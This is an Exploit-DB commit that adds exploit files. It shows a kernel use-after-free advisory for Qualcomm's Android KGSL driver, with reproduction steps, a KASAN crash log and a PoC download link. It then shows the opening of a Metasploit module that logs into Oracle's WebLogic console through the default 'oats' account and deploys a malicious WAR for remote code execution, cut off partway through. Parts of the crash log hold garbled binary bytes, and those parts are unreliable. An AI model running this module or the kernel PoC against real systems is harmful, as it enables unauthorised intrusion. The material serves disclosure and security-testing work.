DB: 2019-05-30
7 changes to exploits/shellcodes Free SMTP Server 2.5 - Denial of Service (PoC) Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL Microsoft Windows - AppX Deployment Service Local Privilege Escalation (2) Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit) pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting
This commit is contained in:
Offensive Security
parent
1a6935f64a
commit
0a2b5fd16f
8 changed files with 1226 additions and 0 deletions
295
exploits/android/dos/46941.txt
Normal file
295
exploits/android/dos/46941.txt
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
The following issue exists in the android-msm-wahoo-4.4-pie branch of
|
||||
https://android.googlesource.com/kernel/msm (and possibly others):
|
||||
|
||||
When kgsl_mem_entry_destroy() in drivers/gpu/msm/kgsl.c is called for a writable
|
||||
entry with memtype KGSL_MEM_ENTRY_USER, it attempts to mark the entry's pages
|
||||
as dirty using the function set_page_dirty(). This function first loads
|
||||
page->mapping using page_mapping(), then calls the function pointer
|
||||
mapping->a_ops->set_page_dirty.
|
||||
|
||||
The bug is that, as explained in upstream commit e92bb4dd9673
|
||||
( https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e92bb4dd9673945179b1fc738c9817dd91bfb629),
|
||||
the mapping of a page can be freed concurrently unless it is protected somehow
|
||||
(e.g. by holding the page lock, or by holding a reference to the mapping).
|
||||
For callers who don't hold any such lock or reference, set_page_dirty_lock() is
|
||||
provided to safely mark a page as dirty:
|
||||
|
||||
==================================
|
||||
/*
|
||||
* set_page_dirty() is racy if the caller has no reference against
|
||||
* page->mapping->host, and if the page is unlocked. This is because another
|
||||
* CPU could truncate the page off the mapping and then free the mapping.
|
||||
*
|
||||
* Usually, the page _is_ locked, or the caller is a user-space process which
|
||||
* holds a reference on the inode by having an open file.
|
||||
*
|
||||
* In other cases, the page should be locked before running set_page_dirty().
|
||||
*/
|
||||
int set_page_dirty_lock(struct page *page)
|
||||
{
|
||||
int ret;
|
||||
|
||||
lock_page(page);
|
||||
ret = set_page_dirty(page);
|
||||
unlock_page(page);
|
||||
return ret;
|
||||
}
|
||||
==================================
|
||||
|
||||
|
||||
To reproduce on a Pixel 2 (walleye):
|
||||
|
||||
- Check out the tree specified above.
|
||||
- Enable KASAN in the kernel config.
|
||||
- Apply the attached kernel patch kgsl-bigger-race-window.patch to make the
|
||||
race window much bigger.
|
||||
- Build and boot the kernel.
|
||||
- Build the attached poc.c with
|
||||
`aarch64-linux-gnu-gcc -static -o poc poc.c -Wall`.
|
||||
- Run the PoC on the device (adb push, then run from adb shell).
|
||||
|
||||
You should see a kernel crash like this; note KASAN's report of a UAF in
|
||||
set_page_dirty():
|
||||
|
||||
==================================
|
||||
<6>[ 445.698708] c3 688 mdss_fb_blank_sub: mdss_fb_blank+0x1d0/0x2b4 mode:0
|
||||
<3>[ 447.372706] c3 2621 ==================================================================
|
||||
<3>[ 447.372963] c3 2621 BUG: KASAN: use-after-free in set_page_dirty+0x4c/0xd0
|
||||
<3>[ 447.380051] c3 2621 Read of size 8 at addr 0000000000000000 by task kworker/3:3/2621
|
||||
<3>[ 447.387059] c3 2621
|
||||
<4>[ 447.394762] c3 2621 CPU: 3 PID: 2621 Comm: kworker/3:3 Not tainted 4.4.116-gbcd0ecccd040-dirty #45
|
||||
<4>[ 447.397158] c3 2621 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
|
||||
<4>[ 447.406473] c3 2621 Workqueue: kgsl-mementry _deferred_put
|
||||
<4>[ 447.418479] c3 2621 Call trace:
|
||||
<4>[ 447.418660] c3 2621 [<ffffffa689e8dfbc>] dump_backtrace+0x0/0x2b4
|
||||
<4>[ 447.421952] c3 2621 [<ffffffa689e8e394>] show_stack+0x14/0x1c
|
||||
<4>[ 447.428066] c3 2621 [<ffffffa68a2f3d2c>] dump_stack+0xa4/0xcc
|
||||
<4>[ 447.433965] c3 2621 [<ffffffa68a07b254>] print_address_description+0x94/0x340
|
||||
<4>[ 447.439870] c3 2621 [<ffffffa68a07b784>] kasan_report+0x1f8/0x340
|
||||
<4>[ 447.447145] c3 2621 [<ffffffa68a079a10>] __asan_load8+0x74/0x90
|
||||
<4>[ 447.453407] c3 2621 [<ffffffa68a0205b4>] set_page_dirty+0x4c/0xd0
|
||||
<4>[ 447.459621] c3 2621 [<ffffffa68a6c5dec>] kgsl_mem_entry_destroy+0x1c0/0x218
|
||||
<4>[ 447.465695] c3 2621 [<ffffffa68a6c63d8>] _deferred_put+0x34/0x3c
|
||||
<4>[ 447.473017] c3 2621 [<ffffffa689edc124>] process_one_work+0x254/0x78c
|
||||
<4>[ 447.479093] c3 2621 [<ffffffa689edc6f4>] worker_thread+0x98/0x718
|
||||
<4>[ 447.485551] c3 2621 [<ffffffa689ee59a4>] kthread+0x114/0x130
|
||||
<4>[ 447.491801] c3 2621 [<ffffffa689e84250>] ret_from_fork+0x10/0x40
|
||||
<3>[ 447.497696] c3 2621
|
||||
<3>[ 447.503818] c3 2621 Allocated by task 2684:
|
||||
<4>[ 447.506206] c3 2621 [<ffffffa689e8d624>] save_stack_trace_tsk+0x0/0x1b8
|
||||
<4>[ 447.511847] c3 2621 [<ffffffa689e8d7f4>] save_stack_trace+0x18/0x20
|
||||
<4>[ 447.517829] c3 2621 [<ffffffa68a079e74>] kasan_kmalloc.part.5+0x50/0x124
|
||||
<4>[ 447.523494] c3 2621 [<ffffffa68a07a198>] kasan_kmalloc+0xc4/0xe4
|
||||
<4>[ 447.529547] c3 2621 [<ffffffa68a07a964>] kasan_slab_alloc+0x14/0x1c
|
||||
<4>[ 447.534931] c3 2621 [<ffffffa68a078030>] kmem_cache_alloc+0x144/0x27c
|
||||
<4>[ 447.540572] c3 2621 [<ffffffa68a187bdc>] ext4_alloc_inode+0x28/0x234
|
||||
<4>[ 447.546387] c3 2621 [<ffffffa68a0afe94>] alloc_inode+0x34/0xd0
|
||||
<4>[ 447.552112] c3 2621 [<ffffffa68a0b19e8>] new_inode+0x20/0xe8
|
||||
<4>[ 447.557318] c3 2621 [<ffffffa68a154214>] __ext4_new_inode+0xe8/0x1f00
|
||||
<4>[ 447.562360] c3 2621 [<ffffffa68a17087c>] ext4_tmpfile+0xb4/0x230
|
||||
<4>[ 447.568172] c3 2621 [<ffffffa68a09f9e8>] path_openat+0x934/0x1404
|
||||
<4>[ 447.573556] c3 2621 [<ffffffa68a0a1a50>] do_filp_open+0x98/0x188
|
||||
<4>[ 447.579027] c3 2621 [<ffffffa68a089004>] do_sys_open+0x170/0x2d4
|
||||
<4>[ 447.584407] c3 2621 [<ffffffa68a0891a0>] SyS_openat+0x10/0x18
|
||||
<4>[ 447.589787] c3 2621 [<ffffffa689e842b0BCho<D5>
|
||||
^@^@<90>^A,^A^Hp<D6>M>] el0_svc_naked+0x24/0x28
|
||||
<3>[ 447.594909] c3 2621
|
||||
<3>[ 447.599065] c3 2621 Freed by task 36:
|
||||
<4>[ 447.601330] c3 2621 [<ffffffa689e8d624>] save_stack_trace_tsk+0x0/0x1b8
|
||||
<4>[ 447.606461] c3 2621 [<ffffffa689e8d7f4>] save_stack_trace+0x18/0x20
|
||||
<4>[ 447.612450] c3 2621 [<ffffffa68a07aa1c>] kasan_slab_free+0xb0/0x1c0
|
||||
<4>[ 447.618091] c3 2621 [<ffffffa68a0770c0>] kmem_cache_free+0x80/0x2f8
|
||||
<4>[ 447.623733] c3 2621 [<ffffffa68a1863f8>] ext4_i_callback+0x18/0x20
|
||||
<4>[ 447.629363] c3 2621 [<ffffffa689f5c430>] rcu_nocb_kthread+0x20c/0x264
|
||||
<4>[ 447.634926] c3 2621 [<ffffffa689ee59a4>] kthread+0x114/0x130
|
||||
<4>[ 447.640726] c3 2621 [<ffffffa689e84250>] ret_from_fork+0x10/0x40
|
||||
<3>[ 447.645765] c3 2621
|
||||
<3>[ 447.649913] c3 2621 The buggy address belongs to the object at 0000000000000000
|
||||
<3>[ 447.649913] c3 2621 which belongs to the cache ext4_inode_cache of size 1048
|
||||
<3>[ 447.652315] c3 2621 The buggy address is located 680 bytes inside of
|
||||
<3>[ 447.652315] c3 2621 1048-byte region [0000000000000000, 0000000000000000)
|
||||
<3>[ 447.667170] c3 2621 The buggy address belongs to the page:
|
||||
<1>[ 447.680933] c3 2621 Unable to handle kernel paging request at virtual address ffffffd8929b3000
|
||||
<1>[ 447.686392] c3 2621 pgd = 0000000000000000
|
||||
<1>[ 447.695099] c3 2621 [ffffffd8929b3000] *pgd=0000000000000000, *pud=0000000000000000
|
||||
<4>[ 447.706506] c3 2621 ------------[ cut here ]------------
|
||||
<2>[ 447.706664] c3 2621 Kernel BUG at 0000000000000000 [verbose debug info unavailable]
|
||||
<0>[ 447.711676] c3 2621 Internal error: Oops - BUG: 96000047 [#1] PREEMPT SMP
|
||||
<4>[ 447.719517] c3 2621 Modules linked in:
|
||||
<4>[ 447.729365] c3 2621 CPU: 3 PID: 2621 Comm: kworker/3:3 Not tainted 4.4.116-gbcd0ecccd040-dirty #45
|
||||
<4>[ 447.729573] c3 2621 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
|
||||
<4>[ 447.738760] c3 2621 Workqueue: kgsl-mementry _deferred_put
|
||||
<4>[ 447.750779] c3 2621 task: 0000000000000000 task.stack: 0000000000000000
|
||||
<4>[ 447.750972] c3 2621 PC is at el1_sync+0x28/0xe0
|
||||
<4>[ 447.757719] c3 2621 LR is at dump_page+0x10/0x18
|
||||
<4>[ 447.762390] c3 2621 pc : [<ffffffa689e836e8>] lr : [<ffffffa68a04d9dc>] pstate: 204003c5
|
||||
<4>[ 447.767106] c3 2621 sp : ffffffd8929b2f60
|
||||
<4>[ 447.775306] c3 2621 x29: ffffffd8929b4000 x28: ffffffd88e9a47d0
|
||||
<4>[ 447.784631] c3 2621 x27: ffffffd8294fab80 x26: ffffffa68ba1f000
|
||||
<4>[ 447.789927] c3 2621 x25: ffffffd8536fc908 x24: ffffffd8536fc4e8
|
||||
<4>[ 447.795219] c3 2621 x23: ffffffd892e55500 x22: 0000000000000001
|
||||
<4>[ 447.800513] c3 2621 x21: ffffffa68ba1aa00 x20: 0000000000000000
|
||||
<4>[ 447.805809] c3 2621 x19: ffffffbe214dbe00 x18: 0000007f7dc4ef8a
|
||||
<4>[ 447.811105] c3 2621 x17: 0000007f809eb0e0 x16: ffffffa68a0a5178
|
||||
<4>[ 447.816400] c3 2621 x15: 0000000000000021 x14: 202c303030303030
|
||||
<4>[ 447.821694] c3 2621 x13: 3030303030303030 x12: e95cc056ac940c73
|
||||
<4>[ 447.826992] c3 2621 x11: ffffffd8929fb810 x10: ffffff8b12978008
|
||||
<4>[ 447.832286] c3 2621 x9 : ffffff8b12978007 x8 : ffffffa68a21a558
|
||||
<4>[ 447.837590] c3 2621 x7 : ffffffa68c69ec28 x6 : 0000000000000040
|
||||
<4>[ 447.842872] c3 2621 x5 : 0000000000000000 x4 : ffffff87c429b7c0
|
||||
<4>[ 447.848170] c3 2621 x3 : ffffffa68a04d8dc x2 : 0000000000000000
|
||||
<4>[ 447.853468] c3 2621 x1 : ffffffa68ba1aa00 x0 : ffffffbe214dbe00
|
||||
<4>[ 447.858765] c3 2621
|
||||
<4>[ 447.858765] c3 2621 PC: 0xffffffa689e836a8:
|
||||
<4>[ 447.859009] c3 2621 36a8 d503201f d503201f d503201f d503201f d503201f d503201f a90007e0 a9010fe2
|
||||
<4>[ 447.873684] c3 2621 36c8 a90217e4 a9031fe6 a90427e8 a9052fea a90637ec a9073fee a90847f0 a9094ff2
|
||||
<4>[ 447.881847] c3 2621 36e8 a90a57f4 a90b5ff6 a90c67f8 a90d6ffa a90e77fc 9104c3f5 d538411c f9400794
|
||||
<4>[ 447.890005] c3 2621 3708 f90093f4 d2c01014 f9000794 d5384036 d5384017 a90f57fe d503201f d5382015
|
||||
<4>[ 447.898172] c3 2621
|
||||
<4>[ 447.898172] c3 2621 LR: 0xffffffa68a04d99c:
|
||||
<4>[ 447.898371] c3 2621 d99c b000ce80 9113e000 97feface aa1303e0 9400affc f9400260 9117e2e1 528002a2
|
||||
<4>[ 447.91300BCho<D6>
|
||||
^@^@<90>^A+^A<98>3<8E><DA>8] c3 2621 d9bc 9106c021 8a000280 97ffff2c 17ffffe6 a9bf7bfd d2800002 910003fd 97ffffb4
|
||||
<4>[ 447.921170] c3 2621 d9dc a8c17bfd d65f03c0 a9ac7bfd 910003fd a90153f3 a9025bf5 a90363f7 a9046bf9
|
||||
<4>[ 447.929328] c3 2621 d9fc a90573fb d10443ff aa0003f3 9400afe5 aa1303e0 f8410402 f90033a2 9400af97
|
||||
<4>[ 447.937494] c3 2621
|
||||
<4>[ 447.937494] c3 2621 SP: 0xffffffd8929b2f20:
|
||||
<4>[ 447.937693] c3 2621 2f20 8a04d9dc ffffffa6 929b2f60 ffffffd8 89e836e8 ffffffa6 204003c5 00000000
|
||||
<4>[ 447.952331] c3 2621 2f40 00000000 00000000 00000000 00000000 ffffffff ffffffff 00000000 00000000
|
||||
<4>[ 447.960491] c3 2621 2f60 214dbe00 ffffffbe 8ba1aa00 ffffffa6 00000000 00000000 8a04d8dc ffffffa6
|
||||
<4>[ 447.968651] c3 2621 2f80 c429b7c0 ffffff87 00000000 00000000 00000040 00000000 8c69ec28 ffffffa6
|
||||
<4>[ 447.976809] c3 2621
|
||||
<0>[ 447.976941] c3 2621 Process kworker/3:3 (pid: 2621, stack limit = 0x0000000000000000)
|
||||
<4>[ 447.979247] c3 2621 Call trace:
|
||||
<4>[ 447.987122] c3 2621 Exception stack(0xffffffd8929b2d60 to 0xffffffd8929b2e90)
|
||||
<4>[ 447.990662] c3 2621 2d60: ffffffbe214dbe00 0000008000000000 00000000836e2000 ffffffa689e836e8
|
||||
<4>[ 447.997788] c3 2621 2d80: 00000000204003c5 0000000000000025 ffffffd8536fc908 0000000000000000
|
||||
<4>[ 448.006468] c3 2621 2da0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
|
||||
<4>[ 448.015098] c3 2621 2dc0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
|
||||
<4>[ 448.023777] c3 2621 2de0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
|
||||
<4>[ 448.032461] c3 2621 2e00: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
|
||||
<4>[ 448.041195] c3 2621 2e20: 0000000000000000 e95cc056ac940c73 ffffffbe214dbe00 ffffffa68ba1aa00
|
||||
<4>[ 448.049872] c3 2621 2e40: 0000000000000000 ffffffa68a04d8dc ffffff87c429b7c0 0000000000000000
|
||||
<4>[ 448.058561] c3 2621 2e60: 0000000000000040 ffffffa68c69ec28 ffffffa68a21a558 ffffff8b12978007
|
||||
<4>[ 448.067216] c3 2621 2e80: ffffff8b12978008 ffffffd8929fb810
|
||||
<4>[ 448.075867] c3 2621 [<ffffffa689e836e8>] el1_sync+0x28/0xe0
|
||||
<0>[ 448.081787] c3 2621 Code: a90637ec a9073fee a90847f0 a9094ff2 (a90a57f4)
|
||||
<4>[ 448.087496] c3 2621 ---[ end trace 8d4b2347f8b71fe7 ]---
|
||||
<4>[ 448.087540] c4 2684 ------------[ cut here ]------------
|
||||
<2>[ 448.087544] c4 2684 Kernel BUG at 0000000000000000 [verbose debug info unavailable]
|
||||
<0>[ 448.087547] c4 2684 Internal error: Oops - BUG: 96000005 [#2] PREEMPT SMP
|
||||
<4>[ 448.087553] c4 2684 Modules linked in:
|
||||
<4>[ 448.087561] c4 2684 CPU: 4 PID: 2684 Comm: poc Tainted: G D 4.4.116-gbcd0ecccd040-dirty #45
|
||||
<4>[ 448.087563] c4 2684 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
|
||||
<4>[ 448.087565] c4 2684 task: 0000000000000000 task.stack: 0000000000000000
|
||||
<4>[ 448.087578] c4 2684 PC is at qlist_free_all+0x3c/0x80
|
||||
<4>[ 448.087581] c4 2684 LR is at qlist_free_all+0x7c/0x80
|
||||
<4>[ 448.087585] c4 2684 pc : [<ffffffa68a07bbbc>] lr : [<ffffffa68a07bbfc>] pstate: 60400145
|
||||
<4>[ 448.087586] c4 2684 sp : ffffffd87e3b3880
|
||||
<4>[ 448.087591] c4 2684 x29: ffffffd87e3b3880 x28: ffffffa68ca1a000
|
||||
<4>[ 448.087595] c4 2684 x27: 000000000591e848 x26: ffffffd87e3b3920
|
||||
<4>[ 448.087598] c4 2684 x25: 0000000000000140 x24: 0000000000000000
|
||||
<4>[ 448.087601] c4 2684 x23: ffffffd87e3b3920 x22: ffffffa68a07bbbc
|
||||
<4>[ 448.087604] c4 2684 x21: 0000000000000000 x20: ffffffd8929f8040
|
||||
<4>[ 448.087607] c4 2684 x19: ffffffd8929f8040 x18: 00000000c8056d20
|
||||
<4>[ 448.087611] c4 2684 x17: 000000002c754130 x16: 0000000085837409
|
||||
<4>[ 448.087613] c4 2684 x15: 00000000a50d5ad3 x14: 0000000000000000
|
||||
<4>[ 448.087617] c4 2684 x13: 0000000001075000 x12: ffffffffffffffff
|
||||
<4>[ 448.087620] c4 2684 x11: 0000000000000040 x10: ffffff8b0fc76746
|
||||
<4>[ 448.087623] c4 2684 x9 : ffffff8b0fc76745 x8 : ffffffd87e3b3a2b
|
||||
<4>[ 448.087626] c4 2684 x7 : 0000000000000000 x6 : ffffffd87e3b3a08
|
||||
<4>[ 448.087629] c4 2684 x5 : fffffffffe8c0000 x4 : 0000000000000000
|
||||
<4>[ 448.087632] c4 2684 x3 : fBCho<D7>
|
||||
^@^@<90>^A*^A<91><F9>%5fffffd8929f7ff0 x2 : 0000000000000000
|
||||
<4>[ 448.087635] c4 2684 x1 : dead0000000000ff x0 : 0000000000000000
|
||||
<4>[ 448.087637] c4 2684
|
||||
<4>[ 448.087637] c4 2684 PC: 0xffffffa68a07bb7c:
|
||||
<4>[ 448.087646] c4 2684 bb7c 17fffff1 a9bc7bfd 910003fd a90153f3 a9025bf5 f9001bf7 f9400013 b4000253
|
||||
<4>[ 448.087655] c4 2684 bb9c 90000016 aa0103f5 aa0003f7 912ef2d6 14000002 aa1403f3 aa1503e0 b40001f5
|
||||
<4>[ 448.087664] c4 2684 bbbc b980c401 aa1603e2 f9400274 cb010261 97fff36f b5ffff14 f90006ff f90002ff
|
||||
<4>[ 448.087673] c4 2684 bbdc f9000aff a94153f3 a9425bf5 f9401bf7 a8c47bfd d65f03c0 aa1303e0 97ffff93
|
||||
<4>[ 448.087675] c4 2684
|
||||
<4>[ 448.087675] c4 2684 LR: 0xffffffa68a07bbbc:
|
||||
<4>[ 448.087684] c4 2684 bbbc b980c401 aa1603e2 f9400274 cb010261 97fff36f b5ffff14 f90006ff f90002ff
|
||||
<4>[ 448.087692] c4 2684 bbdc f9000aff a94153f3 a9425bf5 f9401bf7 a8c47bfd d65f03c0 aa1303e0 97ffff93
|
||||
<4>[ 448.087701] c4 2684 bbfc 17fffff0 a9bc7bfd aa0003e2 910003fd a90153f3 f0012ed3 aa0003f4 b000eb40
|
||||
<4>[ 448.087711] c4 2684 bc1c 910083a1 d538d083 913c8000 f90013bf 8b000060 f9452a63 f9001fa3 f90017bf
|
||||
<4>[ 448.087712] c4 2684
|
||||
<4>[ 448.087712] c4 2684 SP: 0xffffffd87e3b3840:
|
||||
<4>[ 448.087722] c4 2684 3840 8a07bbfc ffffffa6 7e3b3880 ffffffd8 8a07bbbc ffffffa6 60400145 00000000
|
||||
<4>[ 448.087731] c4 2684 3860 7e3b3920 ffffffd8 00000000 00000000 00000000 00000080 8b4ddfd0 ffffffa6
|
||||
<4>[ 448.087740] c4 2684 3880 7e3b38c0 ffffffd8 8a07bf9c ffffffa6 8c656000 ffffffa6 8ca1f500 ffffffa6
|
||||
<4>[ 448.087749] c4 2684 38a0 8ca1a000 ffffffa6 000000f7 00000000 8c68d000 ffffffa6 fabb3a00 ffffffd7
|
||||
<4>[ 448.087750] c4 2684
|
||||
<0>[ 448.087753] c4 2684 Process poc (pid: 2684, stack limit = 0x0000000000000000)
|
||||
<4>[ 448.087754] c4 2684 Call trace:
|
||||
<4>[ 448.087758] c4 2684 Exception stack(0xffffffd87e3b3680 to 0xffffffd87e3b37b0)
|
||||
<4>[ 448.087763] c4 2684 3680: ffffffd8929f8040 0000008000000000 00000000836e2000 ffffffa68a07bbbc
|
||||
<4>[ 448.087768] c4 2684 36a0: 0000000060400145 0000000000000025 0000000000000140 ffffffd7fabb3a00
|
||||
<4>[ 448.087773] c4 2684 36c0: 0000000000000000 ffffffd87e3b37d0 ffffffd87e3b3720 ffffffa68a0768e0
|
||||
<4>[ 448.087779] c4 2684 36e0: ffffffbe224a7d80 0000000000000000 ffffffd7fabb3a00 ffffffd7fabb3a00
|
||||
<4>[ 448.087784] c4 2684 3700: 0000000100150015 ffffffd8929f7e00 0000000180150014 ffffffd899803b00
|
||||
<4>[ 448.087789] c4 2684 3720: ffffffd87e3b3830 ffffffa68a078b38 ffffffbe224a7d80 ffffffd8929f7ff0
|
||||
<4>[ 448.087794] c4 2684 3740: ffffffd7fabb3a00 e95cc056ac940c73 0000000000000000 dead0000000000ff
|
||||
<4>[ 448.087799] c4 2684 3760: 0000000000000000 ffffffd8929f7ff0 0000000000000000 fffffffffe8c0000
|
||||
<4>[ 448.087804] c4 2684 3780: ffffffd87e3b3a08 0000000000000000 ffffffd87e3b3a2b ffffff8b0fc76745
|
||||
<4>[ 448.087808] c4 2684 37a0: ffffff8b0fc76746 0000000000000040
|
||||
<4>[ 448.087813] c4 2684 [<ffffffa68a07bbbc>] qlist_free_all+0x3c/0x80
|
||||
<4>[ 448.087819] c4 2684 [<ffffffa68a07bf9c>] quarantine_reduce+0x17c/0x1a0
|
||||
<4>[ 448.087824] c4 2684 [<ffffffa68a07a1b4>] kasan_kmalloc+0xe0/0xe4
|
||||
<4>[ 448.087828] c4 2684 [<ffffffa68a07a964>] kasan_slab_alloc+0x14/0x1c
|
||||
<4>[ 448.087832] c4 2684 [<ffffffa68a078030>] kmem_cache_alloc+0x144/0x27c
|
||||
<4>[ 448.087840] c4 2684 [<ffffffa68a15d0dc>] ext4_inode_attach_jinode+0x9c/0x118
|
||||
<4>[ 448.087844] c4 2684 [<ffffffa68a150d74>] ext4_file_open+0xc8/0x21c
|
||||
<4>[ 448.087848] c4 2684 [<ffffffa68a087488>] do_dentry_open+0x350/0x4ec
|
||||
<4>[ 448.087851] c4 2684 [<ffffffa68a087930>] finish_open+0x74/0xa8
|
||||
<4>[ 448.087857] c4 2684 [<ffffffa68a09fa34>] path_openat+0x980/0x1404
|
||||
<4>[ 448.087861] c4 2684 [<ffffffa68a0a1a50>] do_filp_open+0x98/0x188
|
||||
<4>[ 448.087866] c4 2684 [<ffffffa68a089004>] do_sys_open+0x170/0x2d4
|
||||
<4>[ 448.087869] c4 2684 [<ffffffa68a0891a0>] SyS_openat+0x10/0x18
|
||||
<4>[ 448.087875] c4 2684 [<ffffffa689e842b0>] el0_svc_naked+0x24/0x28
|
||||
<0>[ 448.087881] c4 2684 Code: 14000002 aa1403f3 aa1503e0 b40001f5 (b980c401)
|
||||
<4>[ 448.087944] c4 2684 ---[ end trace 8d4DBGC
|
||||
==================================
|
||||
|
||||
The KASAN report points to instruction 267c in the following assembly:
|
||||
|
||||
==================================
|
||||
0000000000002630 <set_page_dirty>:
|
||||
{
|
||||
2630: a9bd7bfd stp x29, x30, [sp, #-48]!
|
||||
2634: 910003fd mov x29, sp
|
||||
2638: a90153f3 stp x19, x20, [sp, #16]
|
||||
263c: f90013f5 str x21, [sp, #32]
|
||||
2640: aa0003f3 mov x19, x0
|
||||
struct address_space *mapping = page_mapping(page);
|
||||
2644: 94000000 bl 0 <page_mapping>
|
||||
2648: aa0003f4 mov x20, x0
|
||||
264c: d5384115 mrs x21, sp_el0
|
||||
if (current->jh_task_flags && mapping)
|
||||
2650: 9128a2a0 add x0, x21, #0xa28
|
||||
2654: 94000000 bl 0 <__asan_load4>
|
||||
2658: b94a2aa0 ldr w0, [x21, #2600]
|
||||
265c: 340000a0 cbz w0, 2670 <set_page_dirty+0x40>
|
||||
2660: b40003b4 cbz x20, 26d4 <set_page_dirty+0xa4>
|
||||
msleep(500);
|
||||
2664: 52803e80 mov w0, #0x1f4 // #500
|
||||
2668: 94000000 bl 0 <msleep>
|
||||
266c: 14000002 b 2674 <set_page_dirty+0x44>
|
||||
if (likely(mapping)) {
|
||||
2670: b4000334 cbz x20, 26d4 <set_page_dirty+0xa4>
|
||||
int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
|
||||
2674: 9101a280 add x0, x20, #0x68
|
||||
2678: 94000000 bl 0 <__asan_load8>
|
||||
267c: f9403694 ldr x20, [x20, #104]
|
||||
2680: 91006280 add x0, x20, #0x18
|
||||
2684: 94000000 bl 0 <__asan_load8>
|
||||
2688: f9400e94 ldr x20, [x20, #24]
|
||||
268c: aa1303e0 mov x0, x19
|
||||
2690: 94000000 bl 0 <__asan_load8>
|
||||
2694: f9400260 ldr x0, [x19]
|
||||
==================================
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46941.zip
|
||||
398
exploits/java/remote/46942.rb
Executable file
398
exploits/java/remote/46942.rb
Executable file
|
|
@ -0,0 +1,398 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
|
||||
'Description' => %q{
|
||||
This module abuses a feature in WebLogic Server's Administration Console to install
|
||||
a malicious Java application in order to gain remote code execution. Authentication
|
||||
is required, however by default, Oracle ships with a "oats" account that you could
|
||||
log in with, which grants you administrator access.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Steven Seeley', # Used the trick and told me about it
|
||||
'sinn3r' # Metasploit module
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'WebLogic Server Administration Console 12 or prior', { } ]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
# The CVE description matches what this exploit is doing, but it was for version
|
||||
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
|
||||
# ['CVE', '2007-2699']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 8088
|
||||
},
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ]
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 13 2019',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
|
||||
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
|
||||
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
|
||||
])
|
||||
end
|
||||
|
||||
class LoginSpec
|
||||
attr_accessor :admin_console_session
|
||||
end
|
||||
|
||||
def login_spec
|
||||
@login_spec ||= LoginSpec.new
|
||||
end
|
||||
|
||||
class OatsWarPayload < MetasploitModule
|
||||
attr_reader :name
|
||||
attr_reader :war
|
||||
|
||||
def initialize(payload)
|
||||
@name = [Faker::App.name, Rex::Text.rand_name].sample
|
||||
@war = payload.encoded_war(app_name: name).to_s
|
||||
end
|
||||
end
|
||||
|
||||
def default_oats_path
|
||||
datastore['DefaultOatsPath']
|
||||
end
|
||||
|
||||
def war_payload
|
||||
@war_payload ||= OatsWarPayload.new(payload)
|
||||
end
|
||||
|
||||
def set_frsc
|
||||
value = get_deploy_frsc
|
||||
@frsc = value
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
|
||||
})
|
||||
|
||||
if res && res.body.include?('Oracle WebLogic Server Administration Console')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def set_admin_console_session(res)
|
||||
cookie = res.get_cookies
|
||||
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
|
||||
vprint_status("Token for console session is: #{admin_console_session}")
|
||||
login_spec.admin_console_session = admin_console_session
|
||||
end
|
||||
|
||||
def is_logged_in?(res)
|
||||
html = res.get_html_document
|
||||
a_element = html.at('a')
|
||||
if a_element.respond_to?(:attributes) && a_element.attributes['href']
|
||||
link = a_element.attributes['href'].value
|
||||
return URI(link).request_uri == '/console'
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def do_login
|
||||
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
|
||||
